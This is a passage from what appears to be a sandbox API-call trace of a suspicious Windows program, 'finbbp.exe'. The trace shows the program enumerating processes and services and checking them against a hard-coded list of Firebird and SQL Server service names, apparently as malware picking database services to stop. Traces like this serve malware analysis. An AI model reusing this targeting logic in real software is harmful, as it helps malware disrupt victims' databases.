(lpString1="mssqlserver", lpString2="Themes") returned -1 [0231.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0231.157] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0231.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0231.157] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0231.157] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0231.157] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0231.157] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0231.157] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0231.157] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0231.158] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0231.158] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0231.158] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0231.158] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41fff50 | out: hHeap=0x670000) returned 1 [0231.158] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4ac [0231.169] Process32FirstW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0231.169] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0231.170] lstrlenW (lpString="System") returned 6 [0231.170] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0231.170] lstrlenW (lpString="smss.exe") returned 8 [0231.170] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.171] lstrlenW (lpString="csrss.exe") returned 9 [0231.171] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0231.171] lstrlenW (lpString="wininit.exe") returned 11 [0231.171] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0231.172] lstrlenW (lpString="csrss.exe") returned 9 [0231.172] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0231.172] lstrlenW (lpString="winlogon.exe") returned 12 [0231.172] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0231.172] lstrlenW (lpString="services.exe") returned 12 [0231.172] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0231.173] lstrlenW (lpString="lsass.exe") returned 9 [0231.173] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.173] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0231.173] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0231.174] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0231.174] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.174] lstrlenW (lpString="svchost.exe") returned 11 [0231.174] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.175] lstrlenW (lpString="svchost.exe") returned 11 [0231.175] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0231.176] lstrlenW (lpString="dwm.exe") returned 7 [0231.176] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.176] lstrlenW (lpString="svchost.exe") returned 11 [0231.176] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.177] lstrlenW (lpString="svchost.exe") returned 11 [0231.177] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.177] lstrlenW (lpString="svchost.exe") returned 11 [0231.177] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.178] lstrlenW (lpString="svchost.exe") returned 11 [0231.178] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.178] lstrlenW (lpString="svchost.exe") returned 11 [0231.178] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.179] lstrlenW (lpString="svchost.exe") returned 11 [0231.179] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.179] lstrlenW (lpString="svchost.exe") returned 11 [0231.179] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.180] lstrlenW (lpString="svchost.exe") returned 11 [0231.180] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.180] lstrlenW (lpString="svchost.exe") returned 11 [0231.180] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.181] lstrlenW (lpString="svchost.exe") returned 11 [0231.181] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0231.181] lstrlenW (lpString="spoolsv.exe") returned 11 [0231.181] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.182] lstrlenW (lpString="svchost.exe") returned 11 [0231.182] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0231.182] lstrlenW (lpString="audiodg.exe") returned 11 [0231.182] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0231.182] lstrlenW (lpString="sihost.exe") returned 10 [0231.183] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0231.183] lstrlenW (lpString="svchost.exe") returned 11 [0231.183] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0231.183] lstrlenW (lpString="taskhostw.exe") returned 13 [0231.183] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0231.184] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0231.184] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0231.184] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0231.184] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0231.185] lstrlenW (lpString="Memory Compression") returned 18 [0231.185] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0231.185] lstrlenW (lpString="explorer.exe") returned 12 [0231.185] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0231.186] lstrlenW (lpString="SearchUI.exe") returned 12 [0231.186] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0231.186] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0231.186] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0231.186] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0231.187] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0231.187] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0231.187] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0231.187] lstrlenW (lpString="finbbp.exe") returned 10 [0231.187] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0231.188] lstrlenW (lpString="cmd.exe") returned 7 [0231.188] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0231.188] lstrlenW (lpString="conhost.exe") returned 11 [0231.188] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0231.189] lstrlenW (lpString="mode.com") returned 8 [0231.189] Process32NextW (in: hSnapshot=0x4ac, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0231.190] CloseHandle (hObject=0x4ac) returned 1 [0231.190] Sleep (dwMilliseconds=0x1f4) [0231.712] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aac90 [0231.712] EnumServicesStatusExW (in: hSCManager=0x41aac90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0231.713] GetLastError () returned 0xea [0231.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x4203f80 [0231.713] EnumServicesStatusExW (in: hSCManager=0x41aac90, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4203f80, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4203f80, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0231.714] CloseServiceHandle (hSCObject=0x41aac90) returned 1 [0231.714] lstrlenW (lpString="AppXSvc") returned 7 [0231.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0231.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0231.714] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0231.714] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0231.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0231.714] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0231.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0231.714] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0231.714] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0231.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0231.714] lstrlenW (lpString="Audiosrv") returned 8 [0231.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0231.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0231.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0231.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0231.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0231.715] lstrlenW (lpString="BFE") returned 3 [0231.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0231.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0231.715] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0231.715] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0231.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0231.715] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0231.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0231.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0231.715] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0231.715] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0231.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0231.715] lstrlenW (lpString="CDPSvc") returned 6 [0231.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0231.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0231.715] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0231.715] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0231.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0231.715] lstrlenW (lpString="ClickToRunSvc") returned 13 [0231.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0231.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0231.715] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0231.715] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0231.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0231.715] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0231.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0231.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0231.715] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0231.715] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0231.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0231.715] lstrlenW (lpString="CryptSvc") returned 8 [0231.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0231.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0231.716] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0231.716] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0231.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0231.716] lstrlenW (lpString="DcomLaunch") returned 10 [0231.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0231.716] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0231.716] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0231.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0231.716] lstrlenW (lpString="DeviceAssociationService") returned 24 [0231.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0231.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0231.716] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0231.716] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0231.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0231.716] lstrlenW (lpString="Dhcp") returned 4 [0231.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0231.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0231.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0231.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0231.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0231.716] lstrlenW (lpString="Dnscache") returned 8 [0231.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0231.716] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0231.716] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0231.716] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0231.716] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0231.716] lstrlenW (lpString="DPS") returned 3 [0231.716] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0231.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0231.717] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0231.717] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0231.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0231.717] lstrlenW (lpString="DusmSvc") returned 7 [0231.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0231.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0231.717] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0231.717] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0231.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0231.717] lstrlenW (lpString="EventLog") returned 8 [0231.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0231.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0231.717] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0231.717] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0231.717] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0231.717] lstrlenW (lpString="EventSystem") returned 11 [0231.717] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0231.717] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0231.717] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0231.717] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0231.717] lstrcmpiW 